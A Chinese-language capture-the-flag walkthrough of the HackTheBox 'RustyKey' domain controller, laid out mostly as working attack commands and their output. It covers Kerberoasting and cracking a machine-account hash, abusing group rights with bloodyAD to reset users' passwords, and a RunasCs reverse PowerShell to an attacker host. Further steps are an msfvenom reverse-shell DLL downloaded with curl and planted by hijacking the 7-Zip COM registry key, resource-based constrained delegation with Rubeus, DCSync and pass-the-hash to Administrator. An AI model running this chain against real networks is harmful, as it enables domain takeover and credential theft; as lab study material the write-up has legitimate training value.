目标信息
IP地址:
10.129.168.11
(非固定IP地址)提供凭据:
rr.parker / 8#t5HE8L!W3A
信息收集
ICMP检测
PING 10.129.168.11 (10.129.168.11) 56(84) bytes of data.
64 bytes from 10.129.168.11: icmp_seq=1 ttl=127 time=301 ms
64 bytes from 10.129.168.11: icmp_seq=2 ttl=127 time=2217 ms
64 bytes from 10.129.168.11: icmp_seq=3 ttl=127 time=1209 ms
64 bytes from 10.129.168.11: icmp_seq=4 ttl=127 time=427 ms
--- 10.129.168.11 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3034ms
rtt min/avg/max/mdev = 301.403/1038.507/2216.984/764.078 ms, pipe 3
攻击机和靶机间网络连接正常。
防火墙检测
# Nmap 7.95 scan initiated Sun Jun 29 06:08:15 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.168.11
Nmap scan report for 10.129.168.11
Host is up (0.30s latency).
All 65535 scanned ports on 10.129.168.11 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)
# Nmap done at Sun Jun 29 06:09:01 2025 -- 1 IP address (1 host up) scanned in 46.39 seconds
无法检测靶机防火墙状态。
网络端口扫描
TCP
端口扫描结果
# Nmap 7.95 scan initiated Sun Jun 29 06:14:41 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.168.11
Warning: 10.129.168.11 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.168.11
Host is up (0.30s latency).
Not shown: 63840 closed tcp ports (conn-refused), 1669 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-29 06:15:42Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
52083/tcp open msrpc Microsoft Windows RPC
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 10|2019|2012|2016|2022|7 (96%)
OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_7::sp1
Aggressive OS guesses: Microsoft Windows 10 1909 - 2004 (96%), Microsoft Windows Server 2019 (95%), Windows Server 2019 (93%), Microsoft Windows Server 2012 R2 (92%), Microsoft Windows 10 1909 (90%), Microsoft Windows 10 1709 - 21H2 (89%), Microsoft Windows 10 1903 - 21H1 (89%), Microsoft Windows Server 2016 (89%), Microsoft Windows Server 2022 (89%), Microsoft Windows 10 20H2 - 21H1 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-06-29T06:17:17
|_ start_date: N/A
|_clock-skew: 8h00m00s
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 295.68 ms 10.10.14.1
2 295.82 ms 10.129.168.11
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 29 06:17:33 2025 -- 1 IP address (1 host up) scanned in 171.61 seconds
UDP
端口开放列表扫描结果
# Nmap 7.95 scan initiated Sun Jun 29 06:20:45 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.168.11
Warning: 10.129.168.11 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.168.11
Host is up (0.32s latency).
Not shown: 65324 open|filtered udp ports (no-response), 207 closed udp ports (port-unreach)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap
# Nmap done at Sun Jun 29 06:24:47 2025 -- 1 IP address (1 host up) scanned in 242.75 seconds
UDP
端口详细信息扫描结果
(无)
同时发现靶机操作系统为Windows Server 2019
,且为域控制器,主域名为rustykey.htb
。经DNS
查询,发现域控主机名为dc
。
服务探测
Kerberos服务(88端口)
根据题目提供的凭据,尝试使用crackmapexec
工具连接SMB
服务,发现连接失败,返回错误STATUS_NOT_SUPPORTED
:
crackmapexec smb dc.rustykey.htb -d rustykey.htb -u "rr.parker" -p '8#t5HE8L!W3A'
认为该错误信息产生的原因为目标系统不支持使用SMB NTLM
登录。尝试使用impacket-getTGT
工具请求一份rr.parker
用户的TGT
票据:
ntpdate -s dc.rustykey.htb
impacket-getTGT rustykey.htb/rr.parker:'8#t5HE8L!W3A' -dc-ip 10.10.11.75
获取成功后设置KRB5CCNAME
环境变量,指定值为票据路径:
export KRB5CCNAME=/home/megumin/Documents/pentest_notes/rustykey/rr.parker.ccache
首先使用impacket-lookupsid
工具爆破域内用户和组实体RID
:
impacket-lookupsid rustykey.htb/rr.parker@dc.rustykey.htb 40000 -no-pass -k -domain-sids
Administrator
Guest
krbtgt
DC$
Support-Computer1$
Support-Computer2$
Support-Computer3$
Support-Computer4$
Support-Computer5$
Finance-Computer1$
Finance-Computer2$
Finance-Computer3$
Finance-Computer4$
Finance-Computer5$
IT-Computer1$
IT-Computer2$
IT-Computer3$
IT-Computer4$
IT-Computer5$
rr.parker
mm.turner
bb.morgan
gg.anderson
dd.ali
ee.reed
nn.marcos
backupadmin
成功发现27
个域内用户。尝试使用impacket-GetUserSPNs
工具查找可进行Kerberoasting
攻击的用户:
impacket-GetUserSPNs -request -usersfile ./aduser.lst -dc-ip 10.10.11.75 rustykey.htb/rr.parker -no-pass -k
发现所有机器账号哈希均未使用安全哈希函数进行摘要,直接将全部机器账号的TGS-REP
哈希保存。
SMB服务(445端口)
尝试使用impacket-smbclient
工具,通过获取的TGT
票据以rr.parker
身份连接SMB
服务:
impacket-smbclient rustykey.htb/rr.parker@dc.rustykey.htb -no-pass -k
经过一番枚举后,在/rustykey.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/
目录下发现了一份名为GptTmpl.inf
的配置文件:
[Unicode]
Unicode=yes
[Version]
signature="$CHICAGO$"
Revision=1
[Registry Keys]
"MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}",0,"D:PAR(A;CI;KR;;;S-1-15-2-1)(A;CIIO;KA;;;CO)(A;CI;KA;;;S-1-5-21-3316070415-896458127-4139322052-1132)(A;CI;KA;;;SY)(A;CI;KA;;;BA)(A;CI;KR;;;BU)"
[Privilege Rights]
SeAssignPrimaryTokenPrivilege = *S-1-5-19,*S-1-5-20
SeAuditPrivilege = *S-1-5-19,*S-1-5-20
SeBackupPrivilege = *S-1-5-32-544,*S-1-5-32-551,*S-1-5-32-549
SeBatchLogonRight = *S-1-5-32-544,*S-1-5-32-551,*S-1-5-32-559,*S-1-5-21-3316070415-896458127-4139322052-1136
SeChangeNotifyPrivilege = *S-1-1-0,*S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-11,*S-1-5-32-554
SeCreatePagefilePrivilege = *S-1-5-32-544
SeDebugPrivilege = *S-1-5-32-544
SeIncreaseBasePriorityPrivilege = *S-1-5-32-544,*S-1-5-90-0
SeIncreaseQuotaPrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-32-544
SeInteractiveLogonRight = *S-1-5-32-548,*S-1-5-32-544,*S-1-5-32-551,*S-1-5-9,*S-1-5-32-550,*S-1-5-21-3316070415-896458127-4139322052-1136,*S-1-5-21-3316070415-896458127-4139322052-1132,*S-1-5-32-549
SeLoadDriverPrivilege = *S-1-5-32-544,*S-1-5-32-550
SeMachineAccountPrivilege = *S-1-5-11
SeNetworkLogonRight = *S-1-1-0,*S-1-5-32-544,*S-1-5-11,*S-1-5-9,*S-1-5-32-554
SeProfileSingleProcessPrivilege = *S-1-5-32-544
SeRemoteShutdownPrivilege = *S-1-5-32-544,*S-1-5-32-549
SeRestorePrivilege = *S-1-5-32-544,*S-1-5-32-551,*S-1-5-32-549
SeSecurityPrivilege = *S-1-5-32-544
SeShutdownPrivilege = *S-1-5-32-544,*S-1-5-32-551,*S-1-5-32-549,*S-1-5-32-550
SeSystemEnvironmentPrivilege = *S-1-5-32-544
SeSystemProfilePrivilege = *S-1-5-32-544,*S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420
SeSystemTimePrivilege = *S-1-5-19,*S-1-5-32-544,*S-1-5-32-549
SeTakeOwnershipPrivilege = *S-1-5-32-544
SeUndockPrivilege = *S-1-5-32-544
SeEnableDelegationPrivilege = *S-1-5-32-544
SeDenyNetworkLogonRight = *S-1-5-21-3316070415-896458127-4139322052-1132,*S-1-5-21-3316070415-896458127-4139322052-1136,*S-1-5-21-3316070415-896458127-4139322052-1000
[Registry Values]
MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\RequireSignOrSeal=4,1
MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\RequireSecuritySignature=4,1
MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\EnableSecuritySignature=4,1
发现Registry Keys
配置项内存在注册表项HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}
,一旁似乎还有SDDL
安全描述符。尝试使用Windows PowerShell
自带的ConvertFrom-SDDLString
命令获取其含义:
ConvertFrom-SDDLString "D:PAR(A;CI;KR;;;S-1-15-2-1)(A;CIIO;KA;;;CO)(A;CI;KA;;;S-1-5-21-3316070415-896458127-4139322052-1132)(A;CI;KA;;;SY)(A;CI;KA;;;BA)(A;CI;KR;;;BU)" | Select -Expand DiscretionaryAcl
发现域内RID
为1132
的实体对该注册表项及其子项具有完全控制权限。
域内关系枚举
使用netexec
工具,通过rr.parker
用户身份启动BloodHound
进行域内信息收集:
netexec ldap dc.rustykey.htb -u rr.parker -k --use-kcache --dns-server 10.10.11.75 --bloodhound -c All
随后启动BloodHound
分析工具,上传数据集压缩包,列出最短攻击路径:
发现如下情况:
Support
用户组的RID
刚好为1132
;- 机器账户
IT-Computer3
可将自身添加至HelpDesk
用户组中; HelpDesk
组内用户可重置ee.reed
用户密码;ee.reed
用户处于Support
用户组中,该组内用户可通过WinRM
登录系统。
尝试点击HelpDesk
组,单击First Degree Object Control
按钮,列出HelpDesk
可控的对象:
发现HelpDesk
除ee.reed
外,还对dd.ali
、gg.anderson
和bb.morgan
用户具有重置密码权限,同时对Protected Objects
组有AddMember
权限,这意味着HelpDesk
不仅可以向该用户组内添加对象,还可以将该组内的对象移出。
点击Protected Object
组,单击Unrolled Members
按钮,列出该组的所有子成员:
发现三个用户ee.reed
、gg.anderson
、bb.morgan
和用户组Support
、IT
均为该组成员。尝试查看该用户组的上级所属组,发现该组又为系统用户组Protected Users
的成员:
这意味着上述三个用户为Protected Users
组的间接成员,用户无法进行NTLM
认证、返回TGT
票据,系统CredSSP
身份认证组件也不会缓存用户凭据。
根据以上情况,我们可以确定如下攻击路径:
- 尝试破解
Kerberos
服务探测阶段保存在本地的IT-Computer3
账户TGS-REP
哈希,并请求TGT
票据; - 利用
IT-Computer3
用户对HelpDesk
组的AddSelf
权限,将自身添加到该组中; - 通过
HelpDesk
组身份,将IT
和Support
组从Protected Objects
组移除; - 利用
HelpDesk
组对ee.reed
、gg.anderson
和bb.morgan
三个用户的ForceChangePassword
权限,重置其密码并尝试请求TGT
票据,并登录WinRM
; - 登录
WinRM
后,尽量通过一些方法移动至ee.reed
用户(用户组RID
为1132
),并进行一些基于注册表的枚举。
渗透测试
配置Linux Kerberos客户端环境
在开始攻击前,我们需要配置/etc/krb5.conf
文件,在Linux Kerberos
客户端中添加目标域的信息:
[libdefaults]
default_realm = RUSTYKEY.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true
[realms]
RUSTYKEY.HTB = {
kdc = DC.RUSTYKEY.HTB
admin_server = DC.RUSTYKEY.HTB
default_domain = DC.RUSTYKEY.HTB
}
[domain_realm]
.rustykey.htb = RUSTYKEY.HTB
rustykey.htb = RUSTYKEY.HTB
配置完毕后,使用kinit
命令尝试获取rr.parker
用户的TGT
票据:
kinit rr.parker@RUSTYKEY.HTB
klist
配置成功!最后使用kdestroy
命令删除票据,防止造成干扰。
域内危险关系利用
在服务探测阶段,我们已经发现了域内存在的危险关系,并制定了攻击方案,下面进行利用。
第一步,由于攻击路径的起始点为IT-Computer3
用户,因此我们需要使用hashcat
工具,对先前获取该用户TGS-REP
哈希进行破解:
.\hashcat.exe -m 13100 -a 0 Z:\rustykey\machineuser-tgshash\IT-Computer3.txt .\rockyou.txt --force
成功发现用户凭据:
- 域:
rustykey.htb
- 用户名:
IT-Computer3$
- 密码:
Rusty88!
随后,利用该凭据获取TGT
票据,并添加IT-Computer3
用户自身到HelpDesk
用户组内:
impacket-getTGT rustykey.htb/IT-Computer3:'Rusty88!' -dc-ip 10.10.11.75
export KRB5CCNAME=/home/megumin/Documents/pentest_notes/rustykey/IT-Computer3.ccache
bloodyAD -d rustykey.htb -u "IT-Computer3$" -k -p "Rusty88!" --host dc.rustykey.htb add groupMember HELPDESK "IT-Computer3$"
添加成功!下一步,将IT
和Support
用户组移出Protected Users
系统安全组:
bloodyAD -d rustykey.htb -u "IT-Computer3$" -k -p 'Rusty88!' --host dc.rustykey.htb remove groupMember "CN=PROTECTED OBJECTS,CN=USERS,DC=RUSTYKEY,DC=HTB" "CN=SUPPORT,CN=USERS,DC=RUSTYKEY,DC=HTB"
bloodyAD -d rustykey.htb -u "IT-Computer3$" -k -p 'Rusty88!' --host dc.rustykey.htb remove groupMember "CN=PROTECTED OBJECTS,CN=USERS,DC=RUSTYKEY,DC=HTB" "CN=IT,CN=USERS,DC=RUSTYKEY,DC=HTB"
移除成功!接下来,利用ForceChangePassword
权限更改两个组内共3
个用户的密码:
bloodyAD -d rustykey.htb -u "IT-Computer3$" -k -p 'Rusty88!' --host dc.rustykey.htb set password ee.reed Asd310056
bloodyAD -d rustykey.htb -u "IT-Computer3$" -k -p 'Rusty88!' --host dc.rustykey.htb set password gg.anderson Asd310056
bloodyAD -d rustykey.htb -u "IT-Computer3$" -k -p 'Rusty88!' --host dc.rustykey.htb set password bb.morgan Asd310056
更改完毕后,使用impacket-getTGT
工具逐个获取用户TGT
票据:
impacket-getTGT rustykey.htb/ee.reed:"Asd310056" -dc-ip 10.10.11.75
impacket-getTGT rustykey.htb/bb.morgan:"Asd310056" -dc-ip 10.10.11.75
发现始终无法获取gg.anderson
用户的票据。
最后一步,使用evil-winrm
工具,尝试通过ee.reed
和bb.morgan
用户登录WinRM
,但发现只能登录bb.morgan
用户:
export KRB5CCNAME=/home/megumin/Documents/pentest_notes/rustykey/bb.morgan.ccache
evil-winrm -i dc.rustykey.htb --realm RUSTYKEY.HTB
登录成功!!
权限提升
目录信息收集
登录bb.morgan
用户后,进行目录信息收集,在C:\Users\bb.morgan\Desktop\
目录下发现了名为internal.pdf
的文件:
直接将其下载到本地查看:
download internal.pdf
发现PDF
文件内记录的貌似是一封给Support
组员工的信件,信件中称:作为新发布IT
架构支持工具的一部分,扩展访问权限已经被临时性地授权,用于在整个工作站内进行对文件压缩打包功能的调试和问题检查;这主要将会帮助解决由Finance
和IT
组报告的,关于文件压缩和解压问题的流水线工单。
根据获取的BloodHound
域内数据,Support
组内只有ee.reed
一个用户。
尝试列出Program Files
内的应用程序目录,发现目标安装了7-Zip
压缩工具:
联想到之前在SMB
服务的配置文件中发现的注册表项和SDDL
权限信息,决定移动至ee.reed
用户后,再进行更详细的信息收集。
移动至ee.reed用户
由于在渗透测试过程中,我们发现无法正常登录ee.reed
用户,因此我们尝试使用RunasCs
工具,直接提供该用户密码,建立一个反弹PowerShell
连接:antonioCoco/RunasCs: RunasCs - Csharp and open version of windows builtin runas.exe
直接下载压缩包,将RunasCs.exe
解压后,使用evil-winrm
上传至目标:
upload RunasCs.exe
上传完毕后,在本地443
端口打开netcat
监听,随后执行命令:
.\RunasCs.exe ee.reed Asd310056 powershell.exe -r 10.10.14.2:443 -d rustykey.htb -l 2
成功!!
修改注册表内服务DLL路径配置
移动至ee.reed
用户后,根据之前在GptTmpl.inf
文件内发现的注册表项信息,通过reg
工具进行查阅枚举:
reg query "HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}" /s
发现该注册表项下存在子项InprocServer32
,其默认键值为7-Zip
扩展支持库的绝对路径,推测PDF
全员信内描述的文件打包服务会查询该键值获取DLL
文件的路径。
直接通过msfvenom
生成恶意DLL
,并启动Metasploit
监听:
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.6 LPORT=443 -f dll -o 7-zip.dll
随后在本地80
端口启动SimpleHTTPServer
,下载恶意DLL
文件到靶机,并修改InprocServer32
的默认键值:
curl -Uri http://10.10.14.6/7-zip.dll -OutFile C:\Users\Public\7-zip.dll
reg add "HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /t REG_SZ /f /d "C:\Users\Public\7-zip.dll"
等待一会后,成功接收到反弹Shell
:
成功移动至mm.turner
用户!
利用AllowedToAct进行委派攻击
移动至mm.turner
用户后,再次查看BloodHound
数据分析,发现当前用户所属的用户组DelegationManager
对机器账户DC
具有AddAllowedToAct
权限,即当前用户mm.turner
可以修改机器账户对象DC
的msDS-AllowedToActOnBehalfOfOtherIdentity
安全组属性。
按照微软官方文档的描述,
msDS-AllowedToActOnBehalfOfOtherIdentity
属性的作用是定义一个安全组,用于确认发起请求的用户是否具有“代表当前用户所运行的服务,执行其它用户身份标识”的权限。通过修改该安全组属性,我们可以通过指定用户,进行基于资源的约束委派攻击。
通过联网查询,成功找到关于该权限的利用方式:AllowedToAct - SpecterOps
根据文章描述,结合目标域情况,大致攻击步骤如下:
- 利用
PowerShell
的安全描述符相关命令,构建关于IT-Computer3
的安全描述符,权限应为允许完全控制; - 上传
PowerView
工具,利用脚本的Get-DomainComputer
和Set-DomainObject
功能,设置DC
及其账户的msDS-AllowedToActOnBehalfOfOtherIdentity
属性; - 利用
Rubeus
工具的s4u
模块进行基于资源的约束委派攻击,模拟域管理员权限令牌,并得到管理员身份的SMB
服务票据。
下面进行利用。
首先上传PowerView
和Rubeus
工具(利用之前打开的bb.morgan
身份WinRM
管理会话):
cd C:\Windows\Temp\
upload ../../../../../usr/share/windows-resources/powersploit/Recon/PowerView.ps1
upload ../../../../../usr/share/windows-resources/rubeus/Rubeus.exe
第二步,利用PowerView
脚本构建关于IT-Computer3
的安全描述符,内容为允许该用户进行完全控制:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3316070415-896458127-4139322052-1125)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
第三步,导入PowerView
脚本,修改DC
机器账户的目标属性:
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted
Import-Module .\PowerView.ps1
Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
修改成功!
接下来,使用Rubeus
工具进行约束委派攻击:
.\Rubeus.exe hash /password:Rusty88!
.\Rubeus.exe s4u /user:"IT-Computer3`$" /rc4:B52B582F02F8C0CD6320CD5EAB36D9C6 /impersonateuser:backupadmin /msdsspn:ldap/DC.rustykey.htb /ptt
成功获取具有backupadmin
身份的LDAP
服务票据!(由于Administrator
权限票据无法获取,这里转而获取backupadmin
身份票据,利用其在Enterprise Admins
用户组内的权限,执行DCSync
攻击获取域管理员哈希)
将Base64
格式的票据解码保存到本地,随后使用impacket-ticketConverter
工具转为CCache
格式服务票据:
impacket-ticketConverter ./ldap_backupadmin-dc_rustykey_htb.kirbi ./ldap_backupadmin-dc_rustykey_htb.ccache
接着利用backupadmin
用户身份进行DCSync
攻击:
impacket-ticketConverter ./ldap_backupadmin-dc_rustykey_htb.kirbi ./ldap_backupadmin-dc_rustykey_htb.ccache
export KRB5CCNAME=/home/megumin/Documents/pentest_notes/rustykey/ldap_backupadmin-dc_rustykey_htb.ccache
impacket-secretsdump rustykey.htb/backupadmin@dc.rustykey.htb -k -no-pass -just-dc-user Administrator
成功获得用户凭据:
- 域:
rustykey.htb
- 用户名:
Administrator
NTLM
哈希:f7a351e12f70cc177a1d5bd11b28ac26
直接申请TGT
票据:
impacket-getTGT rustykey.htb/Administrator@dc.rustykey.htb -hashes aad3b435b51404eeaad3b435b51404ee:f7a351e12f70cc177a1d5bd11b28ac26
随后登录WinRM
:
export KRB5CCNAME=/home/megumin/Documents/pentest_notes/rustykey/Administrator@dc.rustykey.htb.ccache
evil-winrm -i dc.rustykey.htb --realm RUSTYKEY.HTB
提权成功!!!!